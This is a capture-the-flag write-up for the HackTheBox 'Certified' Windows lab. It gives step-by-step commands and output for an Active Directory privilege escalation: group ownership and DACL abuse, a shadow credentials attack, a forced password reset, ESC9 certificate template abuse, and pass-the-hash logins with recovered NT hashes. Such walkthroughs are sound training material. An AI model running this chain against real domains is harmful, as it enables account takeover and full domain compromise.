Metadata
- Platform: HackTheBox
- CTF: Certified
- OS: Windows
- Difficulty: Medium
Summary
This Active Directory environment comes with an accessible user account. We can use its privileges to control a user group and add our users to it. Since this group has the ability to add shadow credentials to another account, we can perform the attack and access it.
The obtained account is allowed to reset the password of another account, which again is allowed to enroll a certificate for the AD environment. Since the underlying certificate template is vulnerable, we can request an authentication certificate for the Administrator
account, enabling us to compromise the target.
Solution
Reconnaissance
This box assumes a breached scenario, for which we are granted an initial set of credentials: judith.mader:judith09
. Let’s start by enumerating the box using nmap.
nmap -sC -sV 10.10.11.41 -oN nmap.txt -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-15 20:27 CET
Nmap scan report for 10.10.11.41
Host is up (0.057s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-16 02:27:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-03-16T02:28:47+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2025-03-16T02:28:48+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2025-03-16T02:28:47+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2025-03-16T02:28:48+00:00; +7h00m00s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
The scan makes it obvious, that we are dealing with an Active Directory environment. Since we already have valid credentials, and we now know the domain certified.htb
due to the LDAP shares, we can enumerate this AD instance with Bloodhound. But first, we need to acquire the necessary date with Bloodhound-python.
bloodhound-python -d certified.htb -u judith.mader -p judith09 -ns 10.10.11.41 -c all
Once we put this data into Bloodhound, we can map relationships between existing account. Since we start with access to judith.mader
, let’s open this account and check for any outgoing permissions.
Analysis of this graph reveals, that there is a chain of permissions we can abuse to pivot to two other accounts.
judith.mader
hasWriteOwner
permissions over theManagement
group- Members of this group have
GenericWrite
over themanagement_svc
account. management_svc
hasGenericAll
access over theca_operator
account.
User Flag
Let’s start by exploiting the first relationship: taking ownership over the Management
group. We can use Owneredit for this.
owneredit.py -action write -new-owner "judith.mader" -target "management" certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!
Now judith.mader
owns the group and can manage it. However, to abuse the next relationship, we need to make judith.mader
a member of this group. Since we already own the group, we can start by giving ourselves the permission to add new users with Dacledit.
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'management' 'certified'/'judith.mader':'judith09' -dc-ip 10.10.11.41
[*] DACL backed up to dacledit-20250316-040427.bak
[*] DACL modified successfully!
Now we can add ourselves to the group using a tool such as Net.
net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -I 10.10.11.41
At this point, we can finally try to access the management_svc
account. Bloodhound tells us, that there are two possible ways to achieve this: We can Kerberoast the target to retrieve a hash and crack it offline, or perform a shadow credentials attack. Since the target enforces a secure password, only the last options will yield results for us. Let’s retrieve the credentials using Certipy-ad.
certipy-ad shadow auto -u "judith.mader@certified.htb" -p "judith09" -account "management_svc" -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '2e33d2db-522f-1c13-e37a-1b7ac9e37917'
[*] Adding Key Credential with device ID '2e33d2db-522f-1c13-e37a-1b7ac9e37917' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '2e33d2db-522f-1c13-e37a-1b7ac9e37917' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584
This command gives us two valuable pieces for authentication: A management_svc.ccache
file we can use for Kerberos authentication, and the accounts NT hash a091c1832bcdd4677c28b5a6a1295584
. Since this account is allowed to create a PowerShell session via WinRM, we can open one with Evil-WinRM and claim the user flag.
evil-winrm -i 10.10.11.41 -u "management_svc" -H a091c1832bcdd4677c28b5a6a1295584
95d0b24f252023cc3e930f3a9fd65c35
Root Flag
Since we now have access to management_svc
, we can pivot to the ca_operator
account due to the GenericAll
relation. Bloodhound once again offers us two ways to exploit this, however setting a new password for the target account is the easiest way. We can achieve this with BloodyAD, as the management_svc
account, using either the NT hash or the ccache
file.
bloodyAD -k ccache=management_svc.ccache --host "dc01.certified.htb" --dc-ip="10.10.11.41" -d "certified.htb" set password "ca_operator" "judith09"
[+] Password changed successfully!
Now have access to ca_operator
, since we know this account’s password. However, Bloodhound did not show any privileges for this account we could use for lateral movement, meaning we need to find another way use our newly obtained access. Due to the name of this account, it might be allowed to interact with AD certificates. In case there are vulnerable ones, we might be able to obtain credentials for another account. Let’s enumerate them with Certipy-ad.
certipy-ad find -dc-ip 10.10.11.41 -u ca_operator -p judith09 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
<cut>
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Property Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
Based on this output, it seems like there is a vulnerable certificate template CertifiedAuthentication
to which the ca_operator
account has access. Since we output already tells us that this template suffers from the ESC9
vulnerability, the exploit path becomes clear, since we can easily find the relating instructions to abuse this configuration. Essentially, we can use manager_svc
’s GenericWrite
over ca_operator
to impersonate the administrator
account. In total, it requires four exploitation steps, all of which can be executed with Certipy-ad. We can start by setting the UPN of the ca_operator
to Administrator
.
certipy-ad account update -dc-ip 10.10.11.41 -username "management_svc" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : administrator
[*] Successfully updated 'ca_operator'
As this operation was successful, we can now request a certificate for the Administrator
account by enforcing the vulnerable template.
certipy-ad req -dc-ip 10.10.11.41 -username "ca_operator" -p "judith09" -ca certified-DC01-CA -template CertifiedAuthentication
Certipy v4.8.2 - by Oliver Lyak (ly4k)
/usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning: invalid escape sequence '\('
"(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ",
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 7
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
In order for this certificate to take effect for the administrator
account, we first need to revert step one of this exploit chain, setting the UPN back to ca_operator
.
certipy-ad account update -dc-ip 10.10.11.41 -username "management_svc" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : ca_operator
[*] Successfully updated 'ca_operator'
Finally, we can request the NTLM hash for the Administrator
account. We are allowed to do this, since we have the authentication certificate of the Administrator
.
certipy-ad auth -pfx administrator.pfx -domain "certified.htb" -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
We have successfully obtained the NTLM hash. At this point, we can log into this account via Evil-WinRM and claim the root flag.
evil-winrm -i 10.10.11.41 -u "administrator" -H 0d5b49608bbce1751f708748f67e2d34
e0f7ec8574f76b217e785b80d65e85c0